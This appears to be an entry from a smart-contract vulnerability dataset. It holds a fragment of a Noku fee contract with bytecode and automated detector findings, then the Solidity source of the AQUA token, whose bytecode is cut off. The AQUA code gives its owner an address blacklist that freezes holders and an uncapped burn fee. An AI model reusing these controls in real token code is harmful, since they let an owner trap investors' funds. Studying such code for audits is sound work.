NokuTokenBurner(tokenBurner).tokenReceived(nokuMasterToken, fee);
return true;
}
function usageFee(bytes32 _serviceName, uint256 _amount) public constant returns(uint fee) {
require(isService(_serviceName));
require(_amount != 0);
// Assume fee are represented in 18-decimals notation
return _amount.mul(services[_serviceName].serviceFee).div(10**18);
}
function serviceCount() public constant returns(uint count) {
return serviceIndex.length;
}
function serviceAtIndex(uint _index) public constant returns(bytes32 serviceName) {
return serviceIndex[_index];
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306237526146100bf5780632576a779146100e85780632996f972146101305780632b708fc9146101855780638544023a146101c95780638da5cb5b1461021e57806399d80ed9146102735780639fc8ed76146102b7578063d30b5386146102f6578063d3884c3f1461035d578063f2fde38b14610398578063fd277399146103d1575b600080fd5b34156100ca57600080fd5b6100d2610410565b6040518082815260200191505060405180910390f35b34156100f357600080fd5b61011660048080356000191690602001909190803590602001909190505061041d565b604051808215151515815260200191505060405180910390f35b341561013b57600080fd5b61014361050c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561019057600080fd5b6101b3600480803560001916906020019091908035906020019091905050610532565b6040518082815260200191505060405180910390f35b34156101d457600080fd5b6101dc6105ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561022957600080fd5b6102316105d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027e57600080fd5b6102a16004808035600019169060200190919080359060200190919050506105f6565b6040518082815260200191505060405180910390f35b34156102c257600080fd5b6102d86004808035906020019091905050610727565b60405180826000191660001916815260200191505060405180910390f35b341561030157600080fd5b61034360048080356000191690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061074b565b604051808215151515815260200191505060405180910390f35b341561036857600080fd5b6103826004808035600019169060200190919050506109cc565b6040518082815260200191505060405180910390f35b34156103a357600080fd5b6103cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b6d565b005b34156103dc57600080fd5b6103f6600480803560001916906020019091905050610cc2565b604051808215151515815260200191505060405180910390f35b6000600180549050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561047a57600080fd5b61048383610cc2565b151561048e57600080fd5b8160026000856000191660001916815260200190815260200160002060000181905550816002600085600019166000191681526020019081526020016000206001015484600019167f6a74e1fc6de647ad5f190eee99b78cea5c6ad597bca1f3f1781b6d326a0d901860405160405180910390a46001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061053d83610cc2565b151561054857600080fd5b6000821415151561055857600080fd5b6105a3670de0b6b3a76400006105956002600087600019166000191681526020019081526020016000206000015485610d3c90919063ffffffff16565b610d7790919063ffffffff16565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561065357600080fd5b61065c83610cc2565b15151561066857600080fd5b816002600085600019166000191681526020019081526020016000206000018190555060018080548060010182816106a09190610d92565b9160005260206000209001600086909190915090600019169055036002600085600019166000191681526020019081526020016000206001018190555081600180805490500384600019167fd4d39b38c5a56bd29d76a3f1bc67f8a4a4f36f8b625e47ca00f9fe635686d09160405160405180910390a46001808054905003905092915050565b600060018281548110151561073857fe5b9060005260206000209001549050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff161415151561077457600080fd5b61077e8585610532565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd84600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156108a357600080fd5b6102c65a03f115156108b457600080fd5b5050506040518051905015156108c657fe5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cae15051600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156109ac57600080fd5b6102c65a03f115156109bd57600080fd5b50505060019150509392505050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2c57600080fd5b610a3584610cc2565b1515610a4057600080fd5b600260008560001916600019168152602001908152602001600020600101549150600180808054905003815481101515610a7657fe5b906000526020600020900154905080600183815481101515610a9457fe5b9060005260206000209001816000191690555081600260008360001916600019168152602001908152602001600020600101819055506001805480919060019003610adf9190610dbe565b508184600019167f5b151f1e60671500836e9aac474b06132793b3d7ed3643ad614324b0103d08b660405160405180910390a3600260008260001916600019168152602001908152602001600020600001548282600019167f6a74e1fc6de647ad5f190eee99b78cea5c6ad597bca1f3f1781b6d326a0d901860405160405180910390a48192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c0457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600102826000191614151515610cda57600080fd5b60006001805490501415610cf15760009050610d37565b8160001916600160026000856000191660001916815260200190815260200160002060010154815481101515610d2357fe5b906000526020600020900154600019161490505b919050565b6000806000841415610d515760009150610d70565b8284029050828482811515610d6257fe5b04141515610d6c57fe5b8091505b5092915050565b6000808284811515610d8557fe5b0490508091505092915050565b815481835581811511610db957818360005260206000209182019101610db89190610dea565b5b505050565b815481835581811511610de557818360005260206000209182019101610de49190610dea565b5b505050565b610e0c91905b80821115610e08576000816000905550600101610df0565b5090565b905600a165627a7a72305820a0958e966409646ff4added763b44c37315a804b7aeae579171eb07bc944feff0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,272 |
0x624134b564849d228599557166726d2cb363a16b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
// ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⢤⠤⢀⠀⢀⠀⣀⠔⠄⠀⠐⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⡀⠄⢀⣿⡟⡀⠀⠠⣭⠕⠀⠀⠀⠈⠱⣿⣶⣷⡅⠀⢁⠀⠁
// ⠀⠀⠀⡀⠀⠂⠁⣀⣀⣾⣿⣥⣤⡴⣿⡏⢠⢆⠀⠀⢀⠀⠙⠟⡻⠃⠀⢸⡡⠀
// ⠀⡀⠈⠀⠀⠀⣠⡶⠛⢻⠛⣿⢺⣁⢁⢇⢸⠀⠆⠄⠈⣄⢤⣷⠁⠄⠠⠾⢋⠂
// ⠀⠀⠀⠀⣠⣾⠏⠀⠀⡄⠀⢸⠡⠻⠂⠀⠂⢘⣾⡜⡄⢇⠠⢺⡄⠈⠂⠈⠀⠀
// ⠁⡀⠀⠈⠉⣱⢄⡀⠀⠃⠀⠈⠀⠈⠀⠀⠀⠠⠌⠁⡿⠪⢔⢿⣿⣄⠑⠓⠀⠀
// ⠀⠈⠢⡀⣼⠳⠟⡛⠂⠴⢀⢠⣄⠀⠀⠐⠀⠀⡈⠐⡅⠆⡈⠀⠙⠿⠡⠦⠔⠀
// ⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⢸⡆⡿⠷⣀⠐⠀⣸⠄⣰⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠐⠐⢄⢠⣾⣍⡄⠀⠉⠛⠋⠩⠞⠛⣃⣽⡀⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⠀⢼⣮⣹⣿⣏⣷⠟⠿⣽⣯⣶⡟⠉⠈⡇⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣬⣽⣿⢰⡶⣿⣿⢹⣾⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣉⠉⡛⠟⣮⣤⣿⣿⠀⠀⣬⠈⢂⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⢀⣾⢞⡿⠿⠿⠇⠀⢿⣼⣿⣿⣿⡿⠒⠖⡈⢆⠈⠄⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⡼⠡⠀⢷⣶⣤⡄⠀⠀⠙⣻⣿⣟⢁⣠⡴⠔⠈⡆⠈⠄⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠃⠸⠴⠿⣿⣇⣰⣶⣤⣀⣁⡀⠙⠯⠪⠦⠀⠒⠒⠀⠀⠀⠀⠀
//
//
// Telegram: https://t.me/aquafinanceportal
// Website: https://aquafinance.io
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AQUA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Liquid Finance";
string private constant _symbol = "AQUA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD9B638f1aaC77b13110Fce069D8a4BE9718Df6E7);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount);
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101e75760003560e01c80636fc3eaec116101025780638da5cb5b11610095578063c552849011610064578063c552849014610599578063dd62ed3e146105b9578063ea1644d5146105ff578063f2fde38b1461061f57600080fd5b80638da5cb5b146105185780638f9a55c01461053657806395d89b411461054c578063a9059cbb1461057957600080fd5b8063790ca413116100d1578063790ca413146104b75780637c519ffb146104cd5780637d1db4a5146104e2578063881dce60146104f857600080fd5b80636fc3eaec1461044d57806370a0823114610462578063715018a61461048257806374010ece1461049757600080fd5b80632fd689e31161017a57806349bd5a5e1161014957806349bd5a5e146103cd5780634bf2c7c9146103ed5780635d098b381461040d5780636d8aa8f81461042d57600080fd5b80632fd689e31461035b578063313ce5671461037157806333251a0b1461038d57806338eea22d146103ad57600080fd5b806318160ddd116101b657806318160ddd146102dd57806323b872dd1461030357806327c8f8351461032357806328bb665a1461033957600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630f3a325f1461026c5780631694505e146102a557600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600e81526d4c69717569642046696e616e636560901b60208201525b6040516102339190611d4c565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611bf7565b61063f565b6040519015158152602001610233565b34801561027857600080fd5b5061025c610287366004611b43565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b157600080fd5b506016546102c5906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102e957600080fd5b50683635c9adc5dea000005b604051908152602001610233565b34801561030f57600080fd5b5061025c61031e366004611bb6565b610656565b34801561032f57600080fd5b506102c561dead81565b34801561034557600080fd5b50610359610354366004611c23565b6106bf565b005b34801561036757600080fd5b506102f5601a5481565b34801561037d57600080fd5b5060405160098152602001610233565b34801561039957600080fd5b506103596103a8366004611b43565b61075e565b3480156103b957600080fd5b506103596103c8366004611d2a565b6107cd565b3480156103d957600080fd5b506017546102c5906001600160a01b031681565b3480156103f957600080fd5b50610359610408366004611d11565b61081e565b34801561041957600080fd5b50610359610428366004611b43565b61084d565b34801561043957600080fd5b50610359610448366004611cef565b6108a7565b34801561045957600080fd5b506103596108ef565b34801561046e57600080fd5b506102f561047d366004611b43565b610919565b34801561048e57600080fd5b5061035961093b565b3480156104a357600080fd5b506103596104b2366004611d11565b6109af565b3480156104c357600080fd5b506102f5600a5481565b3480156104d957600080fd5b506103596109ed565b3480156104ee57600080fd5b506102f560185481565b34801561050457600080fd5b50610359610513366004611d11565b610a47565b34801561052457600080fd5b506000546001600160a01b03166102c5565b34801561054257600080fd5b506102f560195481565b34801561055857600080fd5b506040805180820190915260048152634151554160e01b6020820152610226565b34801561058557600080fd5b5061025c610594366004611bf7565b610ac3565b3480156105a557600080fd5b506103596105b4366004611d2a565b610ad0565b3480156105c557600080fd5b506102f56105d4366004611b7d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561060b57600080fd5b5061035961061a366004611d11565b610b21565b34801561062b57600080fd5b5061035961063a366004611b43565b610b5f565b600061064c338484610c49565b5060015b92915050565b6000610663848484610d6d565b6106b584336106b085604051806060016040528060288152602001611f51602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906113d6565b610c49565b5060019392505050565b6000546001600160a01b031633146106f25760405162461bcd60e51b81526004016106e990611da1565b60405180910390fd5b60005b815181101561075a5760016009600084848151811061071657610716611f0f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075281611ede565b9150506106f5565b5050565b6000546001600160a01b031633146107885760405162461bcd60e51b81526004016106e990611da1565b6001600160a01b03811660009081526009602052604090205460ff16156107ca576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107f75760405162461bcd60e51b81526004016106e990611da1565b600182111561080557600080fd5b600181111561081357600080fd5b600b91909155600d55565b6000546001600160a01b031633146108485760405162461bcd60e51b81526004016106e990611da1565b601155565b6015546001600160a01b0316336001600160a01b03161461086d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016106e990611da1565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090f57600080fd5b476107ca81611410565b6001600160a01b0381166000908152600260205260408120546106509061144a565b6000546001600160a01b031633146109655760405162461bcd60e51b81526004016106e990611da1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d95760405162461bcd60e51b81526004016106e990611da1565b6018548110156109e857600080fd5b601855565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016106e990611da1565b601754600160a01b900460ff1615610a2e57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a6757600080fd5b610a7030610919565b8111158015610a7f5750600081115b610aba5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106e9565b6107ca816114ce565b600061064c338484610d6d565b6000546001600160a01b03163314610afa5760405162461bcd60e51b81526004016106e990611da1565b600d821115610b0857600080fd5b600d811115610b1657600080fd5b600c91909155600e55565b6000546001600160a01b03163314610b4b5760405162461bcd60e51b81526004016106e990611da1565b601954811015610b5a57600080fd5b601955565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016106e990611da1565b6001600160a01b038116610bee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e9565b6001600160a01b038216610d0c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e9565b6001600160a01b038216610e335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6